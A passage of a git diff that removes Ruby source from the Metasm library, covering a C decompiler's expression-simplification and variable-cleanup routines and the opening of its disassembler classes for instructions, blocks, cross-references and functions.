ce.op == :func and (not ce.lexpr.kind_of? C::Variable or - not ce.lexpr.has_attribute('pure')) # XXX is there a C attr for func depending only on staticvars+param ? - depend_vars << ce.lexpr if ce.lexpr.kind_of? C::Variable - depend_vars << ce.rexpr if ce.rexpr.kind_of? C::Variable and (ce.lexpr or ce.op != :&) # a = &v; v = 12; func(a) => func(&v) - depend_vars << ce if ce.lvalue? - depend_vars.concat(ce.rexpr.grep(C::Variable)) if ce.rexpr.kind_of? ::Array - } - depend_vars.uniq! - - # XXX x = 1; if () { x = 2; } foo(x) =!> foo(1) (find_next_read will return this) - # we'll just redo a find_next_read like - # XXX b = &a; a = 1; *b = 2; foo(a) unhandled & generate bad C - l_l = label - l_i = i - while g.exprs[l_l].to_a.each_with_index { |ce_, n_i| - next if n_i < l_i - # count occurences of read v in ce_ - cnt = 0 - bad = false - walk_ce(ce_) { |ce| - case ce.op - when :funcall - bad = true if isfunc - ce.rexpr.each { |a| cnt += 1 if a == v } - cnt += 1 if ce.lexpr == v - when :'=' - bad = true if depend_vars.include? ce.lexpr - cnt += 1 if ce.rexpr == v - else - bad = true if (ce.op == :'++' or ce.op == :'--') and depend_vars.include? ce.rexpr - bad = true if AssignOp.include? ce.op and depend_vars.include? ce.lexpr - cnt += 1 if ce.lexpr == v - cnt += 1 if ce.rexpr == v - end - } - case cnt - when 0 - break if bad - next - when 1 # good - break if e.complexity > 10 and ce_.complexity > 3 # try to keep the C readable - # x = 1; y = x; z = x; => cannot suppress x - nr = find_next_read[l_l, n_i+1, v] - break if (nr.kind_of? C::CExpression or nr == :split) and not walk_ce(ce_) { |ce| break true if ce.op == :'=' and ce.lexpr == v } - else break # a = 1; b = a + a => fail - end - - # TODO XXX x = 1; y = x; z = x; - res = walk_ce(ce_, true) { |ce| - case ce.op - when :funcall - if ce.rexpr.to_a.each_with_index { |a,i_| - next if a != v - ce.rexpr[i_] = r - break :done - } == :done - break :done - elsif ce.lexpr == v - ce.lexpr = r - break :done - elsif isfunc - break :fail - end - when *AssignOp - break :fail if not ce.lexpr and depend_vars.include? ce.rexpr # ++depend - if ce.rexpr == v - ce.rexpr = r - break :done - elsif ce.lexpr == v or depend_vars.include? ce.lexpr - break :fail - end - else - break :fail if ce.op == :& and not ce.lexpr and ce.rexpr == v - if ce.lexpr == v - ce.lexpr = r - break :done - elsif ce.rexpr == v - ce_.type = r.type if not ce_.op and ce_.rexpr == v # return (int32)eax - ce.rexpr = r - break :done - end - end - } - case res - when :done - i -= 1 - exprs.delete_at(i) - e.lexpr = e.op = e.rexpr = nil - break - when :fail - break - end - } - # ignore branches that will never reuse v - may_to = g.to_optim[l_l].find_all { |to| find_next_read[to, 0, v].kind_of? C::CExpression } - if may_to.length == 1 and to = may_to.first and to != l_l and g.from_optim[to] == [l_l] - l_i = 0 - l_l = to - else break - end - end - - when nil, :write - # useless assignment (value never read later) - # XXX foo = &bar; bar = 12; baz(*foo) - e.replace(C::CExpression[e.rexpr]) - # remove sideeffectless subexprs - loop do - case e.op - when :funcall, *AssignOp - else - l = (e.lexpr.kind_of? C::CExpression and sideeffect(e.lexpr)) - r = (e.rexpr.kind_of? C::CExpression and sideeffect(e.rexpr)) - if l and r # could split... - elsif l - e.replace(e.lexpr) - next - elsif r - e.replace(e.rexpr) - next - else # remove the assignment altogether - i -= 1 - exprs.delete_at(i) - e.lexpr = e.op = e.rexpr = nil - end - end - break - end - end - end - end - } - - # wipe cexprs marked in the previous step - walk(scope) { |st| - next if not st.kind_of? C::Block - st.statements.delete_if { |e| e.kind_of? C::CExpression and not e.lexpr and not e.op and not e.rexpr } - } - - # reoptimize cexprs - walk_ce(scope, true) { |ce| - # redo some simplification that may become available after variable propagation - # int8 & 255 => int8 - if ce.op == :& and ce.lexpr and ce.lexpr.type.integral? and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == (1 << (8*sizeof(ce.lexpr))) - 1 - ce.replace C::CExpression[ce.lexpr] - end - - # int *ptr; *(ptr + 4) => ptr[4] - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :+ and var = ce.rexpr.lexpr and var.kind_of? C::Variable and var.type.pointer? - ce.lexpr, ce.op, ce.rexpr = ce.rexpr.lexpr, :'[]', ce.rexpr.rexpr - end - - # useless casts - if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and (ce.rexpr.rexpr.kind_of? C::CExpression or - (ce.type.pointer? and ce.rexpr.rexpr == 0 and not ce.type.pointed.untypedef.kind_of? C::Union)) # keep ((struct*)0)->memb - ce.rexpr = ce.rexpr.rexpr - end - if not ce.op and ce.rexpr.kind_of? C::CExpression and (ce.type == ce.rexpr.type or (ce.type.integral? and ce.rexpr.type.integral?)) - ce.replace ce.rexpr - end - # useless casts (type)*((oeua)Ptype) - if not ce.op and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :* and not ce.rexpr.lexpr and ce.rexpr.rexpr.kind_of? C::CExpression and not ce.rexpr.rexpr.op and - p = ce.rexpr.rexpr.rexpr and p.kind_of? C::Typed and p.type.pointer? and ce.type == p.type.pointed - ce.op = ce.rexpr.op - ce.rexpr = ce.rexpr.rexpr.rexpr - end - # (a > 0) != 0 - if ce.op == :'!=' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and ce.lexpr.kind_of? C::CExpression and - [:<, :<=, :>, :>=, :'==', :'!=', :'!'].include? ce.lexpr.op - ce.replace ce.lexpr - end - # a == 0 => !a - if ce.op == :== and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 - ce.replace C::CExpression[:'!', ce.lexpr] - end - # !(int)a => !a - if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? C::CExpression - ce.rexpr = ce.rexpr.rexpr - end - # (int)a < (int)b => a < b TODO uint <-> int - if [:<, :<=, :>, :>=].include? ce.op and ce.rexpr.kind_of? C::CExpression and ce.lexpr.kind_of? C::CExpression and not ce.rexpr.op and not ce.lexpr.op and - ce.rexpr.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.type.pointer? and ce.lexpr.rexpr.kind_of? C::CExpression and ce.lexpr.rexpr.type.pointer? - ce.rexpr = ce.rexpr.rexpr - ce.lexpr = ce.lexpr.rexpr - end - - # a & 3 & 1 - while (ce.op == :& or ce.op == :|) and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and - ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == ce.op and ce.lexpr.lexpr and - ce.lexpr.rexpr.kind_of? C::CExpression and ce.lexpr.rexpr.rexpr.kind_of? ::Integer - ce.lexpr, ce.rexpr.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr.rexpr.send(ce.op, ce.rexpr.rexpr) - end - - # x = x | 4 => x |= 4 - if ce.op == :'=' and ce.rexpr.kind_of? C::CExpression and [:+, :-, :*, :/, :|, :&, :^, :>>, :<<].include? ce.rexpr.op and ce.rexpr.lexpr == ce.lexpr - ce.op = (ce.rexpr.op.to_s + '=').to_sym - ce.rexpr = ce.rexpr.rexpr - end - - # x += 1 => ++x - if (ce.op == :'+=' or ce.op == :'-=') and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 - ce.lexpr, ce.op, ce.rexpr = nil, {:'+=' => :'++', :'-=' => :'--'}[ce.op], ce.lexpr - end - - # --x+1 => x-- - if (ce.op == :+ or ce.op == :-) and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == {:+ => :'--', :- => :'++'}[ce.op] and - ce.lexpr.rexpr and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 - ce.lexpr, ce.op, ce.rexpr = ce.lexpr.rexpr, ce.lexpr.op, nil - end - } - end - - def remove_unreferenced_vars(scope) - used = {} - walk_ce(scope) { |ce| - # remove unreferenced local vars - used[ce.rexpr.name] = true if ce.rexpr.kind_of? C::Variable - used[ce.lexpr.name] = true if ce.lexpr.kind_of? C::Variable - ce.rexpr.each { |v| used[v.name] = true if v.kind_of? C::Variable } if ce.rexpr.kind_of?(::Array) - } - unused = scope.symbol.keys.find_all { |n| not used[n] } - unused.each { |v| scope.symbol[v].add_attribute 'unused' } # fastcall args need it - scope.statements.delete_if { |sm| sm.kind_of? C::Declaration and unused.include? sm.var.name } - scope.symbol.delete_if { |n, v| unused.include? n } - end - - def finalize - optimize_global - true - end - - def optimize_global - # check all global vars (pointers to global data) - tl = @c_parser.toplevel - vars = tl.symbol.keys.find_all { |k| tl.symbol[k].kind_of? C::Variable and not tl.symbol[k].type.kind_of? C::Function } - countref = Hash.new(0) - - walk_ce(tl) { |ce| - # XXX int foo; void bar() { int foo; } => false negative - countref[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable - countref[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable - } - - vars.delete_if { |v| countref[v] == 0 } - countref.delete_if { |k, v| not vars.include? k } - - # by default globals are C::Arrays - # if all references are *foo, dereference the var type - # TODO allow foo to appear (change to &foo) (but still disallow casts/foo+12 etc) - countderef = Hash.new(0) - walk_ce(tl) { |ce| - if ce.op == :* and not ce.lexpr - r = ce.rexpr - elsif ce.op == :'->' - r = C::CExpression[ce.lexpr] - else next - end - # compare type.type cause var is an Array and the cast is a Pointer - countderef[r.rexpr.name] += 1 if r.kind_of? C::CExpression and not r.op and r.rexpr.kind_of? C::Variable and - sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil - } - vars.each { |n| - if countref[n] == countderef[n] - v = tl.symbol[n] - target = C::CExpression[:*, [v]] - v.type = v.type.type - v.initializer = v.initializer.first if v.initializer.kind_of? ::Array - walk_ce(tl) { |ce| - if ce.op == :'->' and C::CExpression[ce.lexpr] == C::CExpression[v] - ce.op = :'.' - elsif ce.lexpr == target - ce.lexpr = v - end - ce.rexpr = v if ce.rexpr == target - ce.lexpr, ce.op, ce.rexpr = nil, nil, v if ce == target - } - end - } - - # if a global var appears only in one function, make it a static variable - tl.statements.each { |st| - next if not st.kind_of? C::Declaration or not st.var.type.kind_of? C::Function or not scope = st.var.initializer - localcountref = Hash.new(0) - walk_ce(scope) { |ce| - localcountref[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable - localcountref[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable - } - - vars.delete_if { |n| - next if scope.symbol[n] - next if localcountref[n] != countref[n] - v = tl.symbol.delete(n) - tl.statements.delete_if { |d| d.kind_of? C::Declaration and d.var.name == n } - - if countref[n] == 1 and v.initializer.kind_of? C::CExpression and v.initializer.rexpr.kind_of? String - walk_ce(scope) { |ce| - if ce.rexpr.kind_of? C::Variable and ce.rexpr.name == n - if not ce.op - ce.replace v.initializer - else - ce.rexpr = v.initializer - end - elsif ce.lexpr.kind_of? C::Variable and ce.lexpr.name == n - ce.lexpr = v.initializer - end - } - else - v.storage = :static - scope.symbol[v.name] = v - scope.statements.unshift C::Declaration.new(v) - end - - true - } - } - end - - # reorder statements to put decl first, move assignments to decl, move args to func prototype - def cleanup_var_decl(scope, func) - scope.symbol.each_value { |v| v.type = C::BaseType.new(:int) if v.type.void? } - - args = func.type.args - decl = [] - scope.statements.delete_if { |sm| - next if not sm.kind_of? C::Declaration - if sm.var.stackoff.to_i > 0 and sm.var.name !~ /_a(\d+)$/ # aliased vars: use 1st domain only - args << sm.var - else - decl << sm - end - true - } - - # move trivial affectations to initialiser - # XXX a = 1 ; b = a ; a = 2 - go = true # break from delete_if does not delete.. - scope.statements.delete_if { |st| - if go and st.kind_of? C::CExpression and st.op == :'=' and st.rexpr.kind_of? C::CExpression and not st.rexpr.op and - st.rexpr.rexpr.kind_of? ::Integer and st.lexpr.kind_of? C::Variable and scope.symbol[st.lexpr.name] - st.lexpr.initializer = st.rexpr - else - go = false - end - } - - # reorder declarations - scope.statements[0, 0] = decl.sort_by { |sm| [-sm.var.stackoff.to_i, sm.var.name] } - - # ensure arglist has no hole (create&add unreferenced args) - func.type.args = [] - argoff = @c_parser.typesize[:ptr] - args.sort_by { |sm| sm.stackoff.to_i }.each { |a| - # XXX misalignment ? - if not curoff = a.stackoff - func.type.args << a # __fastcall - next - end - while curoff > argoff - wantarg = C::Variable.new - wantarg.name = scope.decompdata[:stackoff_name][argoff] || stackoff_to_varname(argoff) - wantarg.type = C::BaseType.new(:int) - wantarg.attributes = ['unused'] - func.type.args << wantarg - scope.symbol[wantarg.name] = wantarg - argoff += @c_parser.typesize[:ptr] - end - func.type.args << a - argoff += @c_parser.typesize[:ptr] - } - end - - # rename local variables from subfunc arg names - def rename_variables(scope) - funcs = [] - cntrs = [] - cmpi = [] - - walk_ce(scope) { |ce| - funcs << ce if ce.op == :funcall - cntrs << (ce.lexpr || ce.rexpr) if ce.op == :'++' - cmpi << ce.lexpr if [:<, :>, :<=, :>=, :==, :'!='].include? ce.op and ce.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.kind_of? ::Integer - } - - rename = lambda { |var, name| - var = var.rexpr if var.kind_of? C::CExpression and not var.op - next if not var.kind_of? C::Variable or not scope.symbol[var.name] or not name - next if (var.name !~ /^(var|arg)_/ and not var.storage == :register) or not scope.symbol[var.name] or name =~ /^(var|arg)_/ - s = scope.symbol_ancestors - n = name - i = 0 - n = name + "#{i+=1}" while s[n] - scope.symbol[n] = scope.symbol.delete(var.name) - var.name = n - } - - funcs.each { |ce| - next if not ce.lexpr.kind_of? C::Variable or not ce.lexpr.type.kind_of? C::Function - ce.rexpr.to_a.zip(ce.lexpr.type.args.to_a).each { |a, fa| rename[a, fa.name] if fa } - } - funcs.each { |ce| - next if not ce.lexpr.kind_of? C::Variable or not ce.lexpr.type.kind_of? C::Function - ce.rexpr.to_a.zip(ce.lexpr.type.args.to_a).each { |a, fa| - next if not a.kind_of? C::CExpression or a.op != :& or a.lexpr - next if not fa or not fa.name - rename[a.rexpr, fa.name.sub(/^l?p/, '')] - } - } - (cntrs & cmpi).each { |v| rename[v, 'cntr'] } - end - - # yield each CExpr member (recursive, allows arrays, order: self(!post), lexpr, rexpr, self(post)) - # if given a non-CExpr, walks it until it finds a CExpr to yield - def walk_ce(ce, post=false, &b) - case ce - when C::CExpression - yield ce if not post - walk_ce(ce.lexpr, post, &b) - walk_ce(ce.rexpr, post, &b) - yield ce if post - when ::Array - ce.each { |ce_| walk_ce(ce_, post, &b) } - when C::Statement - case ce - when C::Block; walk_ce(ce.statements, post, &b) - when C::If - walk_ce(ce.test, post, &b) - walk_ce(ce.bthen, post, &b) - walk_ce(ce.belse, post, &b) if ce.belse - when C::While, C::DoWhile - walk_ce(ce.test, post, &b) - walk_ce(ce.body, post, &b) - when C::Return - walk_ce(ce.value, post, &b) if ce.value - end - when C::Declaration - walk_ce(ce.var.initializer, post, &b) if ce.var.initializer - end - nil - end - - # yields each statement (recursive) - def walk(scope, post=false, &b) - case scope - when ::Array; scope.each { |s| walk(s, post, &b) } - when C::Statement - yield scope if not post - case scope - when C::Block; walk(scope.statements, post, &b) - when C::If - yield scope.test - walk(scope.bthen, post, &b) - walk(scope.belse, post, &b) if scope.belse - when C::While, C::DoWhile - yield scope.test - walk(scope.body, post, &b) - when C::Return - yield scope.value - end - yield scope if post - when C::Declaration - walk(scope.var.initializer, post, &b) if scope.var.initializer - end - end - - # forwards to @c_parser, handles cast to Array (these should not happen btw...) - def sizeof(var, type=nil) - var, type = nil, var if var.kind_of? C::Type and not type - type ||= var.type - return @c_parser.typesize[:ptr] if type.kind_of? C::Array and not var.kind_of? C::Variable - @c_parser.sizeof(var, type) rescue -1 - end -end -end diff --git a/lib/metasm/metasm/disassemble.rb b/lib/metasm/metasm/disassemble.rb deleted file mode 100644 index 01a91eb803..0000000000 --- a/lib/metasm/metasm/disassemble.rb +++ /dev/null @@ -1,2220 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/decode' - - -module Metasm -# holds information for decoded instructions: the original opcode, a pointer to the InstructionBlock, etc -class DecodedInstruction - # the instance of InstructionBlock this di is into - attr_accessor :block - # our offset (in bytes) from the start of the block, used only for hexdump - attr_accessor :block_offset - # the address of the instruction's first byte in memory - attr_accessor :address - # the disassembled data - attr_accessor :instruction, :opcode - # our, length in bytes - attr_accessor :bin_length - # array of arbitrary strings - attr_accessor :comment - # a cache of the binding used by the backtracker to emulate this instruction - attr_accessor :backtrace_binding - - # create a new DecodedInstruction with an Instruction whose cpu is the argument - # can take an existing Instruction as argument - def initialize(arg, addr=nil) - case arg - when Instruction - @instruction = arg - @opcode = @instruction.cpu.opcode_list.find { |op| op.name == @instruction.opname } if @instruction.cpu - else @instruction = Instruction.new(arg) - end - @bin_length = 0 - @address = addr if addr - end - - def next_addr=(a) @next_addr = a end - def next_addr - (@next_addr ||= nil) || (address + @bin_length) if address - end - - def show - if block - bin = @block.edata.data[@block.edata_ptr+@block_offset, @bin_length].unpack('C*').map { |c| '%02x' % c }.join - if @bin_length > 12 - bin = bin[0, 20] + "..<+#{@bin_length-10}>" - end - " #{@instruction.to_s.ljust(44)} ; @#{Expression[address]} #{bin} #{@comment.sort[0,6].join(' ') if comment}" - else - "#{@instruction}#{' ; ' + @comment.join(' ') if comment}" - end - end - - include Renderable - def render - ret = [] - ret << Expression[address] << ' ' if address - ret << @instruction - ret << ' ; ' << @comment if comment - ret - end - - def add_comment(c) - @comment ||= [] - @comment |= [c] - end - - # returns a copy of the DecInstr, with duplicated #instruction ("deep_copy") - def dup - new = super() - new.instruction = @instruction.dup - new - end -end - -# holds information on a backtracked expression near begin and end of instruction blocks (#backtracked_for) -class BacktraceTrace - # address of the instruction in the block from which rebacktrace should start (use with from_subfuncret bool) - # address is nil if the backtrace is from block start - # exclude_instr is a bool saying if the backtrace should start at address or at the preceding instruction - # these are optional: if absent, expr is to be rebacktracked when a new codepath arrives at the beginning of the block - attr_accessor :address, :from_subfuncret, :exclude_instr - # address of the instruction that initiated the backtrace - attr_accessor :origin - # the Expression to backtrace at this point - attr_accessor :expr - # the original backtracked Expression - attr_accessor :orig_expr - # length of r/w xref (in bytes) - attr_accessor :len - # :r/:w/:x - attr_accessor :type - # bool: true if this maps to a :x that should not have a from when resolved - attr_accessor :detached - # maxdepth at the point of the object creation - attr_accessor :maxdepth - - def initialize(expr, origin, orig_expr, type, len=nil, maxdepth=nil) - @expr, @origin, @orig_expr, @type = expr, origin, orig_expr, type - @len = len if len - @maxdepth = maxdepth if maxdepth - end - - def hash ; [origin, expr].hash ; end - def eql?(o) - o.class == self.class and - [ address, from_subfuncret, exclude_instr, origin, orig_expr, len, type, detached] == - [o.address, o.from_subfuncret, o.exclude_instr, o.origin, o.orig_expr, o.len, o.type, o.detached] - end - alias == eql? -end - -# a cross-reference, tracks read/write/execute memory accesses by decoded instructions -class Xref - # :r/:w/:x - attr_accessor :type - # length of r/w (in bytes) - attr_accessor :len - # address of the instruction responsible of the xref - attr_accessor :origin - # XXX list of instructions intervening in the backtrace ? - - def initialize(type, origin, len=nil) - @origin, @type = origin, type - @len = len if len - end - - def hash ; @origin.hash ; end - def eql?(o) o.class == self.class and [type, len, origin] == [o.type, o.len, o.origin] end - alias == eql? -end - -# holds a list of contiguous decoded instructions, forming an uninterrupted block (except for eg CPU exceptions) -# most attributes are either a value or an array of values, use the associated iterator. -class InstructionBlock - # address of the first instruction - attr_accessor :address - # pointer to raw data - attr_accessor :edata, :edata_ptr - # list of DecodedInstructions - attr_accessor :list - # address of instructions giving control directly to us - # includes addr of normal instruction when call flow continues to us past the end of the preceding block - # does not include addresses of subfunction return instructions - # may be nil or an array - attr_accessor :from_normal - # address of instructions called/jumped to - attr_accessor :to_normal - # address of an instruction that calls a subfunction which returns to us - attr_accessor :from_subfuncret - # address of instruction executed after a called subfunction returns - attr_accessor :to_subfuncret - # address of instructions executed indirectly through us (callback in a subfunction, SEH...) - # XXX from_indirect is not populated for now - attr_accessor :from_indirect, :to_indirect - # array of BacktraceTrace - # when a new code path comes to us, it should be backtracked for the values of :r/:w/:x using btt with no address - # for internal use only (block splitting): btt with an address - attr_accessor :backtracked_for - - # create a new InstructionBlock based at address - # also accepts a DecodedInstruction or an Array of them to initialize from - def initialize(arg0, edata=nil, edata_ptr=nil) - @list = [] - case arg0 - when DecodedInstruction - @address = arg0.address - add_di(arg0) - when Array - @address = arg0.first.address if not arg0.empty? - arg0.each { |di| add_di(di) } - else - @address = arg0 - end - edata_ptr ||= edata ? edata.ptr : 0 - @edata, @edata_ptr = edata, edata_ptr - @backtracked_for = [] - end - - def bin_length - (di = @list.last) ? di.block_offset + di.bin_length : 0 - end - - # splits the current block into a new one with all di from address addr to end - # caller is responsible for rebacktracing new.bt_for to regenerate correct old.btt/new.btt - def split(addr) - raise "invalid split @#{Expression[addr]}" if not idx = @list.index(@list.find { |di| di.address == addr }) or idx == 0 - off = @list[idx].block_offset - new_b = self.class.new(addr, @edata, @edata_ptr + off) - new_b.add_di @list.delete_at(idx) while @list[idx] - new_b.to_normal, @to_normal = to_normal, new_b.to_normal - new_b.to_subfuncret, @to_subfuncret = to_subfuncret, new_b.to_subfuncret - new_b.add_from @list.last.address - add_to new_b.address - @backtracked_for.delete_if { |btt| - if btt.address and new_b.list.find { |di| di.address == btt.address } - new_b.backtracked_for << btt - true - end - } - new_b - end - - # adds a decodedinstruction to the block list, updates di.block and di.block_offset - def add_di(di) - di.block = self - di.block_offset = bin_length - di.address ||= @address + di.block_offset - @list << di - end -end - -# a factorized subfunction as seen by the disassembler -class DecodedFunction - # when backtracking an instruction that calls us, use this binding and then the instruction's - # the binding is lazily filled up for non-external functions, register by register, when - # a backtraced expression depends on it - attr_accessor :backtrace_binding - # same as InstructionBlock#backtracked_for - # includes the expression responsible of the function return (eg [esp] on ia32) - attr_accessor :backtracked_for - # addresses of instruction causing the function to return - attr_accessor :return_address - # a lambda called for dynamic backtrace_binding generation - attr_accessor :btbind_callback - # a lambda called for dynamic backtracked_for - attr_accessor :btfor_callback - # bool, if false the function is actually being disassembled - attr_accessor :finalized - # bool, if true the function does not return (eg exit() or ExitProcess()) - attr_accessor :noreturn - # hash stackoff => varname - # varname is a single String object shared by all ExpressionStrings (to allow renames) - attr_accessor :localvars - # hash stack offset => di address - attr_accessor :localvars_xrefs - - # if btbind_callback is defined, calls it with args [dasm, binding, funcaddr, calladdr, expr, origin, maxdepth] - # else update lazily the binding from expr.externals, and return backtrace_binding - def get_backtrace_binding(dasm, funcaddr, calladdr, expr, origin, maxdepth) - if btbind_callback - @btbind_callback[dasm, @backtrace_binding, funcaddr, calladdr, expr, origin, maxdepth] - elsif backtrace_binding and dest = @backtrace_binding[:thunk] and target = dasm.function[dest] - target.get_backtrace_binding(dasm, funcaddr, calladdr, expr, origin, maxdepth) - else - unk_regs = expr.externals.grep(Symbol).uniq - @backtrace_binding.keys - [:unknown] - dasm.cpu.backtrace_update_function_binding(dasm, funcaddr, self, return_address, *unk_regs) if not unk_regs.empty? - @backtrace_binding - end - end - - # if btfor_callback is defined, calls it with args [dasm, bt_for, funcaddr, calladdr] - # else return backtracked_for - def get_backtracked_for(dasm, funcaddr, calladdr) - if btfor_callback - @btfor_callback[dasm, @backtracked_for, funcaddr, calladdr] - elsif backtrace_binding and dest = @backtrace_binding[:thunk] and target = dasm.function[dest] - target.get_backtracked_for(dasm, funcaddr, calladdr) - else - @backtracked_for - end - end - - def initialize - @backtracked_for = [] - @backtrace_binding = {} - end - - def get_localvar_stackoff(off, di=nil, str=nil) - if di - @localvars_xrefs ||= {} - @localvars_xrefs[off] ||= [] - @localvars_xrefs[off] |= [di.address] - end - @localvars ||= {} - @localvars[off] ||= (str || (off > 0 ? 'arg_%X' % off : 'var_%X' % -off)) - end -end - -class CPU - # return the thing to backtrace to find +value+ before the execution of this instruction - # eg backtrace_emu('inc eax', Expression[:eax]) => Expression[:eax + 1] - # (the value of :eax after 'inc eax' is the value of :eax before plus 1) - # may return Expression::Unknown - def backtrace_emu(di, value) - Expression[Expression[value].bind(di.backtrace_binding ||= get_backtrace_binding(di)).reduce] - end - - # returns a list of Expressions/Integer to backtrace to find an execution target - def get_xrefs_x(dasm, di) - end - - # returns a list of [type, address, len] - def get_xrefs_rw(dasm, di) - get_xrefs_r(dasm, di).map { |addr, len| [:r, addr, len] } + get_xrefs_w(dasm, di).map { |addr, len| [:w, addr, len] } - end - - # returns a list [addr, len] - def get_xrefs_r(dasm, di) - b = di.backtrace_binding ||= get_backtrace_binding(di) - r = b.values - x = get_xrefs_x(dasm, di) - r |= x if x - (r.grep(Indirection) + r.grep(Expression).map { |e| e.expr_indirections }.flatten).map { |e| [e.target, e.len] } - end - - # returns a list [addr, len] - def get_xrefs_w(dasm, di) - b = di.backtrace_binding ||= get_backtrace_binding(di) - w = b.keys - (w.grep(Indirection) + w.grep(Expression).map { |e| e.expr_indirections }.flatten).map { |e| [e.target, e.len] } - end - - # checks if the expression corresponds to a function return value with the instruction - # (eg di == 'call something' and expr == [esp]) - def backtrace_is_function_return(expr, di=nil) - end - - # updates f.backtrace_binding when a new return address has been found - # TODO update also when anything changes inside the function (new loop found etc) - use backtracked_for ? - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - end - - # returns if the expression is an address on the stack - # (to avoid trying to backtrace its absolute address until we found function boundaries) - def backtrace_is_stack_address(expr) - end - - # updates the instruction arguments: replace an expression with another (eg when a label is renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; Expression[a.bind(old => new).reduce] - else a - end - } - end - - # a callback called whenever a backtrace is successful - # di is the decodedinstruction at the backtrace's origin - def backtrace_found_result(dasm, di, expr, type, len) - end -end - -class ExeFormat - # returns a string containing asm-style section declaration - def dump_section_header(addr, edata) - "\n// section at #{Expression[addr]}" - end - - # returns an array of expressions that may be executed by this instruction - def get_xrefs_x(dasm, di) @cpu.get_xrefs_x(dasm, di) end - - # returns an array of [type, expression, length] that may be accessed by this instruction (type is :r/:w, len is in bytes) - def get_xrefs_rw(dasm, di) @cpu.get_xrefs_rw(dasm, di) end -end - -# a disassembler class -# holds a copy of a program sections, a list of decoded instructions, xrefs -# is able to backtrace an expression from an address following the call flow (backwards) -class Disassembler - attr_accessor :program, :cpu - # binding (jointure of @sections.values.exports) - attr_accessor :prog_binding - # hash addr => edata - attr_accessor :sections - # hash addr => DecodedInstruction - attr_accessor :decoded - # hash addr => DecodedFunction (includes 'imported' functions) - attr_accessor :function - # hash addr => (array of) xrefs - access with +add_xref+/+each_xref+ - attr_accessor :xrefs - # bool, true to check write xrefs on each instr disasm (default true) - attr_accessor :check_smc - # list of [addr to disassemble, (optional)who jumped to it, (optional)got there by a subfunction return] - attr_accessor :addrs_todo - # hash address => binding - attr_accessor :address_binding - # number of blocks to backtrace before aborting if no result is found (defaults to class.backtrace_maxblocks, 50 by default) - attr_accessor :backtrace_maxblocks - # maximum backtrace length for :r/:w, defaults to backtrace_maxblocks - attr_accessor :backtrace_maxblocks_data - # max bt length for backtrace_fast blocks, default=0 - attr_accessor :backtrace_maxblocks_fast - # max complexity for an Expr during backtrace before abort - attr_accessor :backtrace_maxcomplexity, :backtrace_maxcomplexity_data - # maximum number of instructions inside a basic block, split past this limit - attr_accessor :disassemble_maxblocklength - # a cparser that parsed some C header files, prototypes are converted to DecodedFunction when jumped to - attr_accessor :c_parser - # hash address => array of strings - # default dasm dump will only show comments at beginning of code blocks - attr_accessor :comment - # bool, set to true (default) if functions with undetermined binding should be assumed to return with ABI-conforming binding (conserve frame ptr) - attr_accessor :funcs_stdabi - # callback called whenever an instruction will backtrace :x (before the backtrace is started) - # arguments: |addr of origin, array of exprs to backtrace| - # must return the replacement array, nil == [] - attr_accessor :callback_newaddr - # called whenever an instruction is decoded and added to an instruction block. arg: the new decoded instruction - # returns the new di to consider (nil to end block) - attr_accessor :callback_newinstr - # called whenever the disassembler tries to disassemble an addresse that has been written to. arg: the address - attr_accessor :callback_selfmodifying - # called when the disassembler stops (stopexec/undecodable instruction) - attr_accessor :callback_stopaddr - # callback called before each backtrace that may take some time - attr_accessor :callback_prebacktrace - # callback called once all addresses have been disassembled - attr_accessor :callback_finished - # pointer to the gui widget we're displayed in - attr_accessor :gui - - @@backtrace_maxblocks = 50 - - # creates a new disassembler - def initialize(program, cpu=program.cpu) - reinitialize(program, cpu) - end - - # resets the program - def reinitialize(program, cpu=program.cpu) - @program = program - @cpu = cpu - @sections = {} - @decoded = {} - @xrefs = {} - @function = {} - @check_smc = true - @prog_binding = {} - @old_prog_binding = {} # same as prog_binding, but keep old var names - @addrs_todo = [] - @addrs_done = [] - @address_binding = {} - @backtrace_maxblocks = @@backtrace_maxblocks - @backtrace_maxblocks_fast = 0 - @backtrace_maxcomplexity = 40 - @backtrace_maxcomplexity_data = 5 - @disassemble_maxblocklength = 100 - @comment = {} - @funcs_stdabi = true - end - - # adds a section, updates prog_binding - # base addr is an Integer or a String (label name for offset 0) - def add_section(encoded, base) - encoded, base = base, encoded if base.kind_of? EncodedData - case base - when ::Integer - when ::String - raise "invalid section base #{base.inspect} - not at section start" if encoded.export[base] and encoded.export[base] != 0 - if ed = get_edata_at(base) - ed.del_export(base) - end - encoded.add_export base, 0 - else raise "invalid section base #{base.inspect} - expected string or integer" - end - - @sections[base] = encoded - @label_alias_cache = nil - encoded.binding(base).each { |k, v| - @old_prog_binding[k] = @prog_binding[k] = v.reduce - } - - # update section_edata.reloc - # label -> list of relocs that refers to it - @inv_section_reloc ||= {} - @sections.each { 